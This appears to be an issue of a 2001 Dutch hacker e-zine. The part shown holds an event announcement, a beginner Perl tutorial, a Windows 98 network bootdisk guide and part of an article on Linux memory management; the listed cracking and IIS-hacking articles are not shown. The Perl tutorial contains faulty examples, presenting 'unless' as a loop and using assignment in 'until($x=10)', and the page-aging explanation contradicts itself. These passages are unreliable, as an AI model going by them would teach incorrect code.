Copy Link
Add to Bookmark
Report
Hackers 4 Hackers #0F
Hackers 4 Hackers Issue 0F, released on 11-11-2001
___ ___ _____ ___ ___
/ | \ / | | / | \
/ ~ \/ | |_/ ~ \
\ Y / ^ /\ Y /
\___|_ /\____ | \___|_ /
\/ |__| \/
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
|h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|F|
+-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+
http://www.hackers4hackers.org
'11-11-2001'
Om je aan of af te melden bij de mailinglijst ga je naar www.hackers4hackers.org
Artikelen en dergelijke kun je mailen naar artikel@hackers4hackers.org. Vragen
kun je mailen naar de desbetreffende auteur of naar post@hackers4hackers.org.
Uitspraak:
[ Nynex: werkweken zijn in principe hetzelfde als vakantie.. ]
[ alleen heb je dan iets te doen overdag ]
Enkele interessante sites:
http://www.securitydatabase.net
http://www.security.nl
http://hier.is/Triples
http://www.whatis.com
http://viper.dmrt.com
http://www.klaphek.nl
http://www.hack.vuurwerk.nl
http://www.dsinet.org/hackfaq
http://www.startplaza.nu
http://www.dsinet.org
http://www.packetstormsecurity.com/docs/hack/i.only.replaced.index.html.txt
Leuke kanaaltjes op IRCnet:
#h4h
#hit2000
01. Disclaimer................................................. (Redactie)
02. Inleiding.................................................. (Redactie)
03. Perl voor beginners - deel 1............................... (Asby)
04. Windows bootdisk inclusief netwerk......................... (R4z0r_)
05. Memory Management Linux.................................... (max)
06. Crack AceExpertFTP......................................... (-CDM-)
07. De geboorte van een netwerk:Internet (deel 2).............. (Rath)
08. Evenementen................................................ (Redactie)
09. Artificieele Neurale Netwerken............................. (Loser Max)
10. Plezier met Bruggen........................................ (anoniem)
11. Beginnen met MySql......................................... (coen666)
12. Kort....................................................... (Redactie)
13. Securing OpenBSD 2.9....................................... (pentag0n)
14. Unicode IIS hacking........................................ (VortexXx)
15. Lycos sms security kraak................................... (N|ghtHawk)
-------------------------------------------------------
01. Disclaimer
-------------------------------------------------------
We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen.
Deze informatie dient alleen voor educatieve doeleinden. Als je in de problemen
komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan
strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van
de redactie.
Correspondentie met de redactie is mogelijk per email :
Algemeen - h4h-redactie@hackers4hackers.org
Vragen e.d. - post@hackers4hackers.org
Artikelen - artikel@hackers4hackers.org
-------------------------------------------------------
02. Inleiding
-------------------------------------------------------
Ja, daar zijn we weer eens met een nieuwe H4H. Eigenlijk hebben we dit keer niet echt een
excuus... sja, we zijn erg lui... en druk met andere activiteiten als we niet bezig zijn met lui zijn.
Waaronder een grootschalig evenement organiseren voor jullie, en met enige trots presenteren wij
dat dan ook "Outerbrains 2k2" het evenement voor de demo en hackers scene in nederland. Ook
hebben we de h4h-site wat vernieuwd. Mede omdat wij vanaf begin volgend jaar deel gaan uit
maken van Stichting Outerbrains. Dit gebeurd om meerdere redenen maar als het zover is zullen
wij dit nog een keer uitvoerig behandelen in het blad. In ieder geval komt dit zeker ten goede van
het blad in de vorm van professioneler dan wel vaker een oplage. Even verder over het evenement.
De zaal is al besproken en de eerste voorbereidingen zijn getroffen. Het gaat dan eindelijk
gebeuren. Na HIT2000 en HAL is het dan aan ons de beurt om een evenement te organiseren. Wij
gaan niet in de voetsporen treden van deze evenementen maar op een geheel eigenzinnige manier
organiseren dit is mede een erfenis van onze geest vader "Bizarre" die helaas niet meer gehouden
gaat worden. Centraal binnen Outerbrains 2k2 komt het Competitie element. Dit betekend dat er
vooral wedstrijden gehouden worden op programmeer gebied en op andere creatieve gebieden
binnen het computer gebeuren in de volgende categorieën: Grafisch, Muziek, Code, en Hacking. En
met hacking bedoelen we niet het script kiddie gebeuren maar echte stukjes software die wij
speciaal schrijven voor het evenement met een opdracht er bij. Bijvoorbeeld een algoritme
ontsleutelen of gewoon een "hackme" competitie. Maar de exacte regels maken we later pas
bekend op de site van het evenement… ook zullen we een aantal verassing competities houden,
deze worden pas op het evenement bekend gemaakt en kunnen dus alleen binnen de gestelde tijd
opgelost worden. Ook zijn er geld prijzen te winnen deze worden deels betaald van het entree geld.
Aangezien outerbrains niet op winst uit is gaan wij proberen al het geld wat we overhouden uit te
keren als prijzen. En dit kan bij veel bezoekers dus hoog op lopen. Exacte bedragen kunnen we dus
pas op het laatste moment noemen! We rekenen op 500 bezoekers. Dus voel je vrij om te komen ;)
meer over het evenement kan je vinden op de site "www.outerbrains.nl". Hier kan je jezelf gelijk
opgeven voor de mail list van het evenement en krijg je automatisch bericht als er dingen te melden
zijn.
Overigens gaan we in maart ofzo nog wel weer een meeting organiseren. Maar ook hierover later
meer.
Tot zover de inleiding dan maar weer.
We hopen dat jullie verder veel plezier beleven aan deze H4H…
De Redactie
-------------------------------------------------------
03. Perl voor beginners - deel 1
-------------------------------------------------------
De komende H4H's ga ik wat over perl vertellen. Ik zal beginnen met een
aantal artikelen voor de beginner. Vervolgens vertel ik iets over perl en
CGI en daarna volgt er een artikel hoe je CGI scripts het best kan exploiten.
Als ik het daarna nog leuk vind en er mensen zijn die het waarderen ga ik wat
vertellen voor de wat gevorderde perl gebruiker. Daarin ga ik vertellen hoe
je bijvoorbeeld een eigen portscanner kan schrijven in perl.
In de volgende H4H begin ik ook een serie artikelen over Perl/TK, aangezien
sommige mensen grafische dingen willen programmeren.
Maar goed eerst maar eens beginnen met dit artikel.
--[ Het begin
Eigenlijk zou ik nu eerst iets moeten vertellen over Larry Wall, de uitvinder
van perl. Maar aangezien iedereen wel weet hoe google werkt, kunnen jullie
dit zelf ook opzoeken. Ok, ik wil jullie alleen nog een quote van Larry Wall
geven:
@a=(Lbzjoftt,Inqbujfodf,
Hvcsjt); $b="Lbssz Wbmm"
;$b =~ y/b-z/a-z/ ; $c =
" Tif ". @a ." hsfbu wj"
."suvft pg b qsphsbnnfs"
. ":\n";$c =~y/b-y/a-z/;
print"\n\n$c ";for($i=0;
$i<@a; $i++) { $a[$i] =~
y/b-y/a-z/;if($a[$i]eq$a
[-1]){print"and $a[$i]."
;}else{ print"$a[$i], ";
}}print"\n\t\t--$b\n\n";
Mooi, dan gaan we verder. Vervolgens zal ik nu het allereerste programmaatje
in perl moeten schrijven, Hello World.
Nou vooruit, om de traditie in ere te houden, hier is ie:
1 #!/usr/bin/perl
2 print "Hello, World\n";
Ok, dat was even zweten he, om dat in elkaar te flansen. Ok, dan zal ik even
uitleggen (voor degene die bovenstaande niet snappen) wat alles betekent.
Allereerst is het natuurlijk belangrijk om te weten hoe je dit programma
draait. Heel simpel.
$perl hello.pl
$./hello.pl # na natuurlijk eerst 'chmod +x hello.pl' te hebben gedaan.
Regel 1: Aangezien je perl niet hoeft te compilen, moet je op de eerste regel
aangeven waar je shell de perl executable kan vinden. Dit wordt ook wel de
shebang genoemd. Vaak staat de perl executable in /usr/bin of /usr/local/bin,
maar iedereen maakt zijn eigen zooitje in linux, dus kan best anders zijn.
Regel 2: Het print commando. Hiermee print je je uitvoer op het scherm. Ver-
rassend he.. Let bij het print commando op dat er een verschil zit tussen het
gebruik van ' en ". Zie het volgende voorbeeld:
#!/usr/bin/perl
print "Nu maken we gebruik van \" in deze zin\n";
print 'Nu maken we gebruik van \' in deze zin\n';
Als we dit uitvoeren, krijgen we als uitvoer:
Nu maken we gebruik van " in deze zin
Nu maken we gebruik van ' in deze zin\n
We zien dat bij gebruik van ", we lekker dingen kunnen escapen, zoals \n om
op een nieuwe regel te beginnen. Bij het gebruik van ' kunnen we maar 2 ding-
en escapen en dat is ' en \. Hieronder ff een rijtje wat je allemaal kunt
escapen:
\n Newline
\r Return
\t Tab
\f Formfeed
\b Backspace
\a Bell
\e Escape
\007 Elk octale ASCII waarde (hier 007=bell)
\015 = CR
\012 = LF
\x7f Elk hexidecimale ASCII waarde (hier 7f=delete)
\cC Elk "control" karakter (hier CTRL-C)
\\ Backslash
\" Dubbele quote
\l Volgende letter lowercase
\L Lowercase alle letters tot \E
\u Volgende letter uppercase
\U Uppercase alle letters tot \E
\Q Backslash-quote alle niet-alphanummerieks tot \E
\E Terminate \L, \U, of \Q
Ok, ok, ik geef het toe. Ik heb dit overgetikt van O'Reilly's Learning Perl.
Goed boek trouwens.. Als je echt perl wilt leren en niet wilt wachten tot-
dat er weer eens een nieuwe H4H uitkomt, is dit een goed boek om mee te
beginnen. Wat ook een verschil is tussen " en ' is dat je bij " wel varia-
belen kan gebruiken en bij ' niet. Zie het volgende voorbeeld.
#!/usr/bin/perl
$blaat="hoi";
print "$blaat\n";
print '$blaat\n';
Als je dit uitvoert krijg je het volgende:
hoi
$blaat\n
Je ziet dat hij bij " wel de variabele pakt en bij ' dus niet. Brengt ons
mooi bij het volgende onderwerp, variabelen.
--[ Variabelen
Perl kent drie soorten variabelen: Scalars, Arrays en Hashes.
- Scalars
In een scalar kan je 1 waarde op slaan. De naam van een scalar begint met een
$, zoals $i, $naam of $aardbei. In een scalar kan je cijfers en strings
stoppen. Zoals:
$a = 5;
$b = "Ik lust graag aardbeien";
Zoals je ziet doet perl hier niet zo moeilijk over. Andere programmeertalen
moet je precies aangeven of je een string wilt hebben of een integer, enz..
Perl is voor de luie mensen, zoals mij, dus is dat niet nodig.
Ok, beetje rekenwerk.
$a=5;
$b=$a+5; # $b wordt 10, duh...
$c=$b*8; # $c wordt 80
$a=$a-1; # $a wordt 4
$a=$c/$b; # $a wordt 8
Ok, sja.. wat zal ik hier eens bij vertellen.. ehmz.. ok, ik denk dat jullie
het zo ook wel snappen.
Ok, nu nog wat meer gepriegel met strings.
$a = "aardbeien";
$b = "thee";
$c = $a.$b; # $c wordt aardbeienthee
Ja, ik hou nu eenmaal van thee. Krijg je wel grote longinhoud van trouwens.
Zelfde geldt voor appels enzo. Was laatst ergens een onderzoek over gedaan.
Maar ja, je schijnt ook van de Teletubbies dik te worden.
- Arrays
Arrays zijn eigenlijk gewoon lijsten. Een array begint met een @. En het
leuke van perl is dat je gewoon dezelfde naam voor een scalar en een array
kan gebruiken, bijvoorbeeld $banaan en @banaan.
Hoe ziet een array er nu uit:
@soorten_thee =("aardbeien", "perziken", "bosvruchten", "mango");
Dit is een omslachtige manier om dit op te schrijven, makkelijker is met
behulp van qw.
@soorten_thee = qw(aardbeien perziken bosvruchten mango);
Nu pakt hij gewoon de spatie als scheidingsteken.
Wat kan je nu met zo'n array:
print $soorten_thee[0]; # geeft aardbeien
$soorten_thee[2]="zuidvruchten"; # bosvruchten wordt zuidvruchten
De inhoud van een array begint met een 0. Waarom niet 1 hoor ik jullie
vragen. Nou, omdat Larry Wall het zo wil. Je ziet hierboven ook dat ik ipv
een @ een $ gebruik. Als je elementen uit een array wilt gebruiken, dan dien
je een $ te gebruiken ipv een @.
Als een array niet bestaat dan wordt hij gewoon aangemaakt voor je. Wat is
perl toch simpel he. Voorbeeldje:
$soorten_koffie[0]="mokka"; # @soorten_koffie wordt aangemaakt.
Stel je hebt nu een array aangemaakt en er allerlei fratsen mee uitgehaald en
weet niet meer hoe lang hij was. Nou dat is heel makkelijk. Perl helpt je
daar gewoon bij. Gebruik $#arraynaam en je krijgt de lengte -1.
$aantal = $#soorten_thee; # $aantal wordt 3.
print $#olifant; # wordt -1.
$#soorten_thee = 1; # @soorten_thee bevat nu aardbeien en perziken.
Voor de rest kan je nog meer met array's, maar dat zal ik nog wel een keertje
apart behandelen. Of niet, want dat vergeet ik vast weer.
- Hashes
Voordat mensen gaan denken dat dit met blowen te maken heeft, ik moet jullie
teleurstellen, want dat is niet zo. Hashes bestaan uit een sleutel (key) en
een waarde (value). Hashes duid je aan met % en mag je ook weer dezelfde naam
geven als een array of scalar, dus %augurk, $augurk en @augurk. Ok, het wordt
er niet leesbaarder op, maar het is dus mogelijk.
Stel je hebt twee arrays:
@produkt=(aardbeien, thee, chocolade, kaas, eieren);
@prijs=("1.69", "1.19", "0.89", "2.65", "1.79")
Deze moeten aan elkaar gekoppeld zijn, maar het is erg omslachtig om dit dus
door middel van arrays te doen. Daarom hebben we hashes. yeah baby yeah...
%produkt=("aardbeien" => "1.69", "thee" => "1.19", etc... )
Nu krijgen we natuurlijk de vraag wat => betekent, dit is gewoon een andere
manier om een "," neer te zetten. Waarom gebruiken we dan geen comma? Dat mag
ook, alleen nu kan je makkelijk zien welke waarde er bij welke sleutel hoort.
Net als bij een array kan je de waarde van een hash met $ eruit halen.
Het wordt dan alleen $hash{sleutel}.
print $produkt{"thee"}; # print 1.19
$produkt{"chocolade"} = 0.69; # chocolade is in de reclame
Wat nu als je alle sleutels uit een hash wilt weten? Nou daar hebben ze in
perl een trucje voor, dat heet keys.
@produkten = keys %produkt; # @produkten is nu ("aardbeien", "thee", etc..)
Je ziet trouwens dat ik in de voorbeelden gebruik maak van #. Dit # gebruik
je in perl voor commentaar te geven. Je kan het op een aparte regel doen,
maar ook achter een commando. Wat erachter # staat wordt overgeslagen, dus
beinvloed je programma niet. Maak er dus ook gebruik van. Als je een jaar
later je eigen code terugziet is het wel handig.
--[ Invoer
Invoer in perl is erg makkelijk. Simpel met <STDIN>. is dat alles? Ja, dat is
alles.
print "Heej, jij daar... hoe oud ben je?: ";
$leeftijd=<STDIN>;
Alleen het nadeel is nu dat $leeftijd ook een \n in zich heeft, omdat de ge-
bruiker op enter drukt. Daar heeft perl het volgende op gevonden.
print "Heej, jij daar... hoe oud ben je?\n";
chomp($leeftijd=<STDIN>);
Met het chomp commando haal je alle einde-van-de-regel (line-ending) tekens
weg. Je kan ook chop gebruiken. Maar chop verwijdert alleen het laatste
teken. Je kan chomp en chop zowel gebruiken voor scalars als voor arrays.
--[ Loops
Ok, nu weer even wat anders. Mensen die al programmeerervaring hebben, zullen
dit niet zo een probleem vinden, maar aangezien die artikel voor de perl
nitwits is, ga ik het toch behandelen.
- for loop
for $blaat (1,2,3,4,5) {
print "$blaat\n";
}
Ok, als we dit uitvoeren dan print hij 1 t/m 5 onder elkaar. Dus for kijkt
gewoon naar de lijst en stopt elke variabele in een scalar. En vervolgens
print hij die scalar.
Ok, nu korter.
for $blaat (1..5){
print "$blaat\n";
}
Dit doet precies hetzelfde als het vorige voorbeeld. Je kan ook scalars,
arrays en hashes gebruiken in een for loop.
@boeh = (1..10);
$moo = 30;
for $blaat (@boeh, 15, 17, 20 .. $moo) {
print "$blaat\n";
}
Dit print 1 t/m 10 en... ach probeer het gewoon uit en je zult het zelf zien.
Ojee, hashes vergeten in mijn voorbeeld, ok pakken we de produkt hash en
maken iets moois ervan.
print "Prijslijst\n";
for $blaat (keys %produkt) {
print "$blaat kost $produkt{$blaat} gulden\n";
}
- if/elsif/else loop
if is niet echt een loop, maar meer een vergelijking. Als iets dat is, doe
dan dat, of doe anders dat. Tijd voor weer een voorbeeldje.
if ($x==1) {
print "\$x is 1\n";
} elsif($x==2){
print "\$x is 2\n";
} else {
print "\$x is geen 1\n";
}
In bovenstaand voorbeeld kijken we of scalar $x gelijk is aan 1. Als dat zo
is print hij het bovenste zinnetje. Zo niet dan gaat hij kijken of $x 2 is.
Is dit waar dan print hij het zinnetje "$x is 2". In alle andere gevallen
print hij het onderste, dus als $x bijvoorbeeld 3 is. Veel valt er voor de
rest niet te zeggen over de if loop. Op naar de volgende dan maar.
- while loop
Met de while loop voer je commando's net zolang uit, totdat hij aan het
criterium voldoet die je op hebt gegeven.
Voorbeeld:
$x = 0;
while ($x < 10) {
print "\$x is nu: $x\n";
$x++;
}
Nu print hij net zolang totdat $x niet meer kleiner dan 10 is. Met $x++
verhogen we $x elke keer met 1. Dus $x is op een gegeven moment niet meer
kleiner en de while loop stopt.
- unless loop
Dit is het tegenover gestelde van de while loop. Dit is zolang iets niet
voldoet aan wat er op gegeven is blijft ie doorlopen.
$x = 0;
unless($x>10){
print "\$x is nu: $x\n";
$x++;
}
Dit doet hetzelfde als het voorbeeld bij de while loop. Alleen nu zeg je
zolang $x niet groter dan 10 is dan blijft ie lopen.
- until loop
until is ook weer net als while. Draai de loop totdat de waarde bereikt is.
Zie voorbeeld. nuff said.
$x=0;
until($x=10){
print "\$x is nu: $x\n";
$x++;
}
- foreach loop
Het woord foreach zegt het al, voor elke variabele in een array doe dit.
foreach $bla (1..5){
print $bla;
}
Dit geeft als output "12345", voor elke van 1 t/m 5 print hij hem.
Tadaa.. best wel simpel he... Probeer zelf maar wat uit. Ok, ik ga er een
eind aan breien en ik geef jullie nog wat leuke oefeningetjes mee om te
oefenen tot de volgende H4H.
Oefening 1: Maak een simpele rekenmachine. De rekenmachine moet twee keer een
invoer krijgen en vervolgens moet er de vraag verschijnen of men
wil vermenigvuldigen, delen, optellen of aftrekken. En daarna
moet hij netjes met een uitkomst komen.
Oefening 2: Vraag iemand om een aantal produkten in te voeren, met daaraan
een prijs. Maak gebruik van een hash en print vervolgens de lijst
mooi netjes uit.
Oefening 3: Vraag iemand om een aantal woorden in te voeren. Tel met behulp
van een hash hoe vaak ieder woord voor komt.
Oefening 4: Verzin zelf een leuke oefening, die je uit moet kunnen voeren als
je bovenstaande weet. De leukste inzendingen komen in het
volgende artikel te staan.
Ok, tot de volgende H4H. Dan zal ik wat vertellen over het openen en sluiten
van bestanden enzo. En nog wel wat... moet even kijken hoeveel zin ik tegen
die tijd heb.
Mochten er nog vragen/opmerkingen, verzoeken van artikelen over perl of
liefdesaanzoeken zijn, stuur ze naar perl@hackers4hackers.org. Oja, fouten
zitten er vast wil in mijn artikel, dus die mag je ook nog wel melden.
ttfn,
Asby
-------------------------------------------------------
04. Windows bootdisk inclusief netwerk
-------------------------------------------------------
[ REDACTIONELE NOTE: Het hiervolgende artikel is bij onderzoek vrijwel geheel ]
[ gekopieerd van autheur Henk van de Kamer. Hij heeft het ]
[ artikel geschreven voor PC-Active (nr juni 1999). ]
[ Als redactie betreuren wij deze vorm van plagiaat. ]
Tja, het is een beetje een roeping geworden om een artikeltje te schrijven
voor H4H. En omdat het vakantie is ben ik er toch maar eens aan begonnen. En
ik kan jullie vertellen dat het nog leuk is ook :)) hehe.
Deze truc werkt zowel onder Windows'95 als '98.
Ikzelf gebruikte windows'98
voer de volgende stappen uit:
***Formatteer een diskette. Kies hierbij de optie "Volledig" en vink het
vakje "Systeembestanden kopieren" aan. Geef de diskette een naam.
***Ga in de Verkenner naar de A-drive. Er moeten vier bestanden zichtbaar
zijn:
COMMAND.COM, DRVSPACE.BIN, IO.SYS en MSDOS.SYS
(als ze niet allemaal zichtbaar zijn moet je ff "alle bestanden weergeven"
bij de optie beeld bla bla...)
***Als je geen gecomprimeerde schijven gebruikt, kun je DRVSPACE.BIN
verwijderen.
Ga naar de root van de C-drive en kopieer vervolgens MSDOS.SYS naar de
A-drive. Overschrijf hierbij de versie die al aanwezig is.
***Ga naar de A-drive en vraag de eigenschappen van MSDOS.SYS op. Vink het
vakje "Alleen lezen" uit.
Open vervolgens MSDOS.SYS met Kladblok. Het bestand ziet eruit als een ini-
bestand en bevat een aantal secties.
Verwijder in beide secties regels die je hier NIET aantreft:
[Paths]
WinDir=A:\WIN98
WinBootDir=A:\WIN98
HostWinBootDrv=A
[Options]
BootMulti=0
BootGUI=0
AutoScan=0
WinVer=4.10.1998 (dit is je eigen versie!!!)
Verander niets in andere secties en laat ook alle regels met de vele xxxx
tekens staan.
Sla nu het gewijzigde bestand op.
***open een dos-prompt en tik de volgende regels in:
A:
MD CDROM
MD REGTXT
MD WIN98
CD WIN98
MD COMMAND
MD TEMP
***Open nu Kladblok en tik de volgende regels in:
device=a:\win98\himem.sys
dos=high
country=031,850,a:\win98\command\country.sys
device=a:\cdrom\mtmcdai.sys /d:idecd001
Pas de vierde regel aan voor uw cd-romspeler.
(De algemene cd-romdrivers vind je meestal in de EBD directory.)
Sla nu het bestand op in de root van de A-drive onder de naam CONFIG.SYS
***Open weer kladblok en tik in:
@echo off
a:\win98\command\doskey /insert
a:\win98\command\mscdex /s /d:idecd001 /m:8
Pas de derde regel aan met de gegevens van je cd-romspeler.
De string achter /d: moet identiek zijn met wat je in CONFIG.SYS hebt
opgegeven.
Sla het bestand op in de root van de A-drive onder de naam AUTOEXEC.BAT
***Ga naar de Windows directory en selecteer deze bestanden:
HIMEM.SYS
IFSHLP.SYS
NDISHLP.SYS
NET.EXE
NET.MSG
NETH.MSG
PROTMAN.DOS
PROTMAN.EXE
PROTOCOL.INI
Kopieer deze bestanden naar A:\WIN98
***Open het bestand PROTOCOL.INI in Kladblok. Zoek dan een sectie die lijkt
op:
[<naam>$]
DriverName=<naam>$
IOAddress=0x300
In de Windows directory moet een bestand <naam>.DOS aanwezig zijn.
(Voor een 3Com Etherlink III 3C509b is dit bijvoorbeeld ELNK3.DOS
en bij een Intel EtherExpress 10/PRO moeten we het bestand EPRO.DOS hebben)
Kopieer ook dit bestand naar A:\WIN98
***Ga naar de Windows Command directory en selecteer de volgende bestanden:
COUNTRY.SYS
DOSKEY.COM
MSCDEX.EXE
ATTRIB.EXE
DEBUG.EXE
DELTREE.EXE
EDIT.COM
FC.EXE
FDISK.EXE
FORMAT.COM
LABEL.EXE
MORE.COM
SYS.COM
Kopieer de bestanden naar A:\WIN98\COMMAND
***Zoek de cd-romdriver en kopieer deze naar A:\CDROM
***Open het bestand DOSNET.TXT en pas het volgende aan:
"netcard"="elnk3.dos"
(Plaats na het = teken en tussen de aanhalingstekens de naam die je hebt
gevonden in PROTOCOL.INI
"Workgroup"="jouw_werkgroep_naam"
(Verander de werkgroep die op jou netwerk is ingesteld)
"ComputerName"="jou_computer_naam"
(Verander hier de naam van je computer. Deze moet uniek zijn op het netwerk!
"username"="R4z0r_"
(Verander de username naar je eigen naam)
Sla het gewijzigde bestand op in A:\REGTXT\DOSNET.TXT
***Ga via Start|Afsluiten naar MS-DOS-modus.
Geef vervolgens het volgende commando (LET OP maak geen tikfouten anders
overschrijf je de registry van je huidige windows, tip: maak anders eerst
een backup!!!)
REGEDIT /L:A:\WIN98\SYSTEM.DAT /R:A:\WIN98\USER.DAT /C A:\REGTXT\DOSNET.TXT
Na een paar seconden is er op de diskette een minimale registry gemaakt.
Dit kunt u controleren via het commando:
DIR /AH A:\WIN98\*.DAT
Wanneer er een SYSTEM.DAT en USER.DAT verschijnt van hooguit enkele tientallen
kilobytes, is alles gelukt. Verschijnen er geen bestanden, dan is zeer
waarschijnlijk de registry in uw Windows directory op de harddisk overschreven.
Oops toch maar een backup gemaakt :((
***En hierbij is je Windows bootdiskette met netwerkondersteuning klaar!!!
Alle commando's voor het netwerk zijn aanwezig in het programma NET.
Start de computer vanaf diskette en via het volgende commando logt u
bijvoorbeeld in onder dos:
NET USE * \\R4z0r\D
Uiteraard vervangt u de \\R4z0r\D voor namen die op je eigen netwerk gelden.
Veel suc6 ermee en ik hoop dat jullie er erg gelukkig mee zijn :)
R4z0r_
sysops@bengamaster.com
#prutsers, hier zit ik meestal, als ik niet in #h4h zit :))
M00000000000 [Team Fraud]
-------------------------------------------------------
05. Memory Management Linux
-------------------------------------------------------
Dit is een stukje over het memory management (van linux).
Ik zal beginnen met het uitleggen hoe het geheugen van een computer in elkaar
zit en hoe het werkt, zie de piramide hieronder:
- Registers - (kleiner en sneller)
- Interne Cache -
- 2e (externe) cache - /\ ||
- Tertiare cache - || \/
- Physieke geheugen -
- Swap disks en filesystem disks - (groter en trager)
Dit moet de "memory hierarchy" voorstellen. Elke computer heeft verschillende
soorten geheugen, "snel en klein geheugen" en "groot en traag geheugen".
Hieronder heb ik een lijst neergezet met wat wat doet:
CPU core - Gemaakt door de chip coder, snelheids optimalsaties zijn meestal
onzichtbaar
L1, L2 (and L3) cache - Word geregeld door de hardware, onzichtbaar, behalve
bij snelheids verschillen
RAM - Word geregeld door het OS, het RAM management is onzichtbaar voor
user applicaties
Disk - Word ook geregeld door het OS, programma's openen, read/write data etc.
Snel geheugen kan het register zijn of L1 cpu cache, traag geheugen kan L2
cache of RAM zijn, en dan heb je ook nog de harddisk, die is gruwelijk traag.
Als je de piramide ziet ga je je afvragen waarom heeft mijn computer dan niet
alleen gewoon snel geheugen of waarom maken we computers niet zo dat al het
geheugen snel is? Nou het antwoord is simpel, het is onmogelijk om heel groot
en snel geheugen te maken, en als het al kon dan zou het veels te duur zijn
en je kan niet alles in snel geheugen draaien omdat programma's simpelweg te
groot zijn. Ok ik ga verder met het vertellen over RAM management, RAM is het
traagste electronische geheugen in een computer, het is vaak 100 keer trager
dan de CPU core en dat is heel traag :) maar wanneer je ziet dat de disk
100000 keer trager is dan RAM dan lijkt geheugen ineens weer snel :)
Voordat ik ga vertellen over pages vertel ik ff wat een zogenaamde page is.
Virtueel en physical memory zijn ingedeeld op handige grootte in stukjes
geheugen, en dat zijn nou pages. Pages zijn allemaal van dezelfde grootte
(alpha's gebruiken pages van 8 kb en intel x86 bakken gebruiken pages van
4 kb). Ok we gaan verder, als een process van een page niet in het geheugen
zit (maar het process wil het wel) dan zal de CPU een error geven en het
programma verlaten, dan zal het OS aan het werk worden gezet om dit probleem
te fixen en het programma te laten doorgaan, dit heet PAGE FAULT. Het OS
fixed dit door een "free page", het zet de goeie data in die page en geeft
dan die page aan het programma, daarna zal het process verder gaan met werken
zoals het altijd al deed. Het enige probleem van zo'n page fault is dat het
erg veel CPU cycles kost dus wil je ervoor zorgen dat je zo min mogelijk page
faults krijgt. Het andere probleem is dat je maar een klein beetje geheugen
hebt in je pc en je zal dus vrij snel out of memory komen, op dat moment,
zal het OS moeten kiezen welke data in het geheugen blijft en welke data uit
geswapt word. Het perfecte zou zijn als de data die de komende tijd niet
nodig is gewoon weggegooid zou worden, op deze manier zou je de langste tijd
tussen page faults hebben en het minimale aantal van page faults per minuut,
dwz. het beste wat je computer kan doen :) het enige probleem met deze
methode is dat je in de toekomst zou moeten kijken en dat is helaas onmoge-
lijk :) dus moeten we wat anders bedenken dat in de buurt komt bij dit idee,
zoiets als LRU, dan swap je uit de page dat het langst niet gebruikt is en
dit is ook niet zo'n slecht idee, maar dit is niet altijd de beste oplossing
omdat LRU ook de fout in kan gaan, dan kan je altijd nog LFU toepassen die
swapt uit de page die het minst vaak is gebruikt. In sommige situaties is LRU
beter, in andere LFU en soms zijn geen van beiden handig :) dus zouden we
eigenlijk iets moeten bedenken dat uit deze 2 kiest of een andere oplossing
zoekt op dat moment, mgoed, just speculating 'bout what's best, next.
Page aging
Laten we eens kijken naar gcc, dan zal je zien dat het uit 3 delen bestaat,
de preprocessor (cpp), een compiler (cc1) en een assembler (as), laten we
zeggen dat je bijvoorbeeld maar genoeg geheugen hebt voor een van deze
tegelijk, dan zal het compilen foutgaan, je zou dit kunnen oplossen door page
aging. het systeem scanned het gehele geheugen, en elke page heeft een "age",
als de page is gebruikt sinds we de laatste page hebben gescanned dan vermin-
deren we de page age en als de page was gebruikt sinds we het voor de laatste
keer gescanned hebben maken we de page age juist groter. als de page age niet
gebruikt is, dan maken we de page age kleiner en wanneer de page age 0
bereikt, is de page kandidaat om uitgeswapt te worden, we verwijderen die
data en gebruiken dat stukje geheugen voor iets anders. Nu zijn er verschil-
lende manieren om de page age groter en kleiner te maken, om het groter te
maken doe je gewoon een magic nummer bij de page, page->age += 3 en om de
page age kleiner te maken kunnen we verschillende dingen doen, bijvoorbeeld,
page->age -= 1 dan zitten we close to LFU en als we de page age delen door 2
(page->age /= 2), dan zitten we close to LRU. Page aging word gebruikt door
Linux 2.0, FreeBSD en Linux 2.4 Linux 2.0 gebruikt de "page->age -= 1" stra-
tegie en Linux 2.4 gebruikt de "page->age /= 2" strategie.
Virtual Memory
Je hebt er vast wel eens van gehoord. maar wat is dat?
Het woord zegt het eigenlijk al, virtueel geheugen.
Virtueel geheugen is een concept dat, wanneer het geimplementeerd is door
een computer en het OS, de coder een hele grote range van geheugen of
bewaarde adressen kan gebruiken voor bewaarde data. De software denkt dat de
hardware de memory is dankzij het OS. Virtual memory kan meer adres ruimte
gebruiken dan er geheugen is en het kan meer programma's runnen dan in het
geheugen past. Elk process heeft zijn eigen virtueel adress ruimte, daarbij
kan elke process niet bij elkaars geheugen komen en processen hoeven niet te
weten van elkaar. Niet alle pages van een programma hoeven in het geheugen te
zitten bij virtual memory.
Shared Virtual Memory
Jaja dat bestaat ook nog :) door virtual memory kunnen processen elkaar
"sharen", dus ze kunnen bij elkaars processen komen. Al het memory access
worden gefixed via page tables, en elk process heeft zijn eigen afzonderlijke
page table.
Physical en Virtual Addresserings Modes
Het zou weinig nut hebben om het OS zelf in virtueel geheugen te draaien. Dit
zou kut zijn voor het OS omdat het OS dan page tables zelf moet onderhouden.
De linux kernel zelf is gelinkt om in physical adres space te draaien.
Linux 2.2 VM
Het goeie van VM van linux 2.2 is dat het simpel is en het werkt goed in de
meeste situaties. De zwakke punten zijn dat het niet altijd goed werkt onder
zwaar varieerende VM load, het crashed makkelijk onder een hele hoge VM load
en zo zijn er nog wat problemen met de pages.
Linux 2.4 VM
2.4 heeft weer page aging en dat is goed ! :)
Verder heeft 2.4 een betere page flushing (page_launder()) en is het meer
robuust tegen een zware VM load. Nadelen: eh..ff denken :) Het is nog steeds
niet perfect beschermd tegen een grote VM load (al is het wel verbeterd) en
er ontbreekt nog veel (zoals betere pagetables, omdat ze momenteel unswapable
zijn en grote page sizes).
Ik wil ook nog even laten zien hoe de pages geladen worden in linux kernel
2.4 (wat asm kennis is wel handig, btw. at&t asm syntax sux :)
Hieronder zie je eens stukje waarin paging aangezet word (head.S) :
De kernel code word geload op het adres 0x100000 (1MB), dat word dan gemapped
naar PAGE_OFFSET+0x100000 wanneer paging is aangezet. Dit word gedaan door
compiled-in page tables die een physical range van 0-8 MB naar zichzelf en
naar PAGE_OFFSET...PAGE_OFFSET+8MB mappen. Dan jumpen we naar start_kernel()
